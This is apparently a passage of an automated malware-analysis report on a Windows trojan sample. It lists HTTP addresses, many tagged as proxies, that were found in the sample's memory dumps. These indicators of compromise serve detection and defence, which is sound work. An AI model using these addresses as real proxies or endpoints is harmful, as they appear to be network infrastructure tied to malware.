Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194CCD0D000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://172.64.207.185://proxyp
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194CCD0D000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://172.64.207.185:80
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C95F6000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://172.64.80.55
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C95F6000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://172.64.80.55://proxy
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C95F6000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://172.64.80.55:80
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C7981000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://172.64.86.217
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C7981000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://172.64.86.217://proxy
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C7981000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://172.64.86.217:80
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C95F6000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://172.65.165.93:30000
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C95F6000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://172.65.165.93:30000://proxy
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C854A000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://172.67.105.234
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C854A000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://172.67.105.234://proxy
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C854A000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://172.67.105.234:80
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194CA954000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://172.67.127.188
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194CA670000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://172.67.127.188://proxy
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194CA670000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://172.67.127.188:80
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C9085000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://172.67.14.237
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C8E78000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://172.67.14.237://proxy
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C8E78000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://172.67.14.237:80
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C7981000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://172.67.150.173
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C7981000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://172.67.150.173://proxy
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C7981000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://172.67.150.173:80
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C9FF6000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://172.67.181.103
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C9FF6000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://172.67.181.103://proxy
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C9FF6000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://172.67.181.103:80
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C6480000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://172.67.181.11
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C65B5000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://172.67.181.11://proxy
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C65B5000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://172.67.181.11:80
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C677C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://172.67.181.12
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C854A000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://172.67.181.129
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C854A000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://172.67.181.129://proxy
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C854A000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://172.67.181.129:80
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C677C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://172.67.181.12://proxy
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C677C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://172.67.181.12:80
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194CB377000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://172.67.181.136
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194CB377000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://172.67.181.136://proxy
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194CB377000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://172.67.181.136:80
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C7981000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://172.67.181.144
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C7981000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://172.67.181.144://proxy
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C7981000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://172.67.181.144:80
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C7981000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://172.67.181.197
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194CB377000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://172.67.181.197://proxy
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194CB377000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://172.67.181.197:80
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194CC182000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://172.67.181.20
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194CC15B000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://172.67.181.20://proxy
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194CC15B000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://172.67.181.20:80
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C6F32000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://172.67.181.32
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C6F32000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://172.67.181.32://proxy
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C6F32000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://172.67.181.32:80
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C840A000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://172.67.181.37
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C7EEC000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://172.67.181.37://proxy
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C7EEC000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://172.67.181.37:80
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C7DA8000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://172.67.181.58
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C7DA8000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://172.67.181.58://proxy
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C7DA8000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://172.67.181.58:80
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194CA4FF000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://172.67.181.97
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194CA2DA000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://172.67.181.97://proxy
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194CA2DA000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://172.67.181.97:80
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C7981000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://172.67.182.102
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C715C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://172.67.182.102://proxy
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C7981000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://172.67.182.102:80
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C9FF6000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://172.67.182.107
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C9FF6000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://172.67.182.107://proxy
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C9FF6000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://172.67.182.107:80
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194CAE42000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://172.67.182.126
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C854A000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://172.67.182.126://proxy
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C7F5A000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://172.67.182.126:80
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C6F32000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://172.67.182.150
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C6F32000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://172.67.182.150://proxy
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C6F32000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://172.67.182.150:80
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C854A000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://172.67.182.153
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C854A000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://172.67.182.153://proxy
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C854A000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://172.67.182.153:80
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194CCD0D000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://172.67.182.22
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194CCD0D000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://172.67.182.22://proxy
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194CCD0D000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://172.67.182.22:80
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C6D86000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://172.67.182.38
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C6D76000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://172.67.182.38://proxy
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C6D76000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://172.67.182.38:80
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C6A99000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://172.67.182.77
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C6A99000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://172.67.182.77://proxy
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C6A99000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://172.67.182.77:80
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C7981000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://172.67.182.96
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C78F9000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://172.67.182.96://proxy
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194CB125000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://172.67.182.96:80
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C6A99000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://172.67.187.242
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C695D000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://172.67.187.242://proxy
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C695D000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://172.67.187.242:80
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C95F6000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://172.67.200.220
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C95F6000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://172.67.200.220://proxy
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C95F6000.00000004.00000800.00020000.00000000.sdmp, SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C6A99000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://172.67.200.220:80
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C854A000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://172.67.206.105
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C854A000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://172.67.206.105://proxy
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C854A000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://172.67.206.105:80
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C9504000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://172.67.209.12
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C94F6000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://172.67.209.12://proxy
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C946C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://172.67.209.12:80
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C715C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://172.67.219.60
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C715C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://172.67.219.60://proxy
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C715C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://172.67.219.60:80
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C677C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://172.67.231.3
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C65B5000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://172.67.231.3://proxy
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C65B5000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://172.67.231.3:80
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C854A000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://172.67.25.204
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C7981000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://172.67.25.204://proxy
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C7981000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://172.67.25.204:80
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C95F6000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://172.67.250.212
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C95F6000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://172.67.250.212://proxy
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C715C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://172.67.250.212:80
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194CA2DA000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://172.67.253.69
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194CA2DA000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://172.67.253.69://proxy
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194CA2DA000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://172.67.253.69:80
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194CD1F3000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://172.67.254.127
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194CD1F3000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://172.67.254.127://proxy
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194CD1F3000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://172.67.254.127:80
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C95F6000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://172.67.255.224
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C95F6000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://172.67.255.224://proxy
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C95F6000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://172.67.255.224:80
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C65B5000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://172.67.3.108
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C7981000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://172.67.3.108://proxy
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C7981000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://172.67.3.108:80
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C661F000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://172.67.3.98
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C6D50000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://172.67.3.98://proxy
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C6A99000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://172.67.3.98:80
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C95F6000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://172.67.35.15
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C95F6000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://172.67.35.15://proxy
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C95F6000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://172.67.35.15:80
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C95F6000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://172.67.36.21
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C95F6000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://172.67.36.21://proxy
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C95F6000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://172.67.36.21:80
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C7981000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://172.67.38.96
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C65B5000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://172.67.38.96://proxy
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C715C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://172.67.38.96:80
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C9FF6000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://172.67.53.215
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C69D6000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://172.67.53.215://proxy
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C6A99000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://172.67.69.9
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C6A99000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://172.67.69.9://proxy
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C6A99000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://172.67.69.9:80
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194CBC6D000.00000004.00000800.00020000.00000000.sdmp, SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194CBF5C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://172.83.159.65:3128
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194CBF5C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://172.83.159.65:3128://proxy
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194CB377000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://172.93.111.235:43209
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194CB377000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://172.93.111.235:43209://proxy
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194CBDF0000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://172.93.111.87:44374
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194CBDF0000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://172.93.111.87:44374://proxy
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C7981000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://172.93.213.177
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C7981000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://172.93.213.177://proxy
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C7981000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://172.93.213.177:80
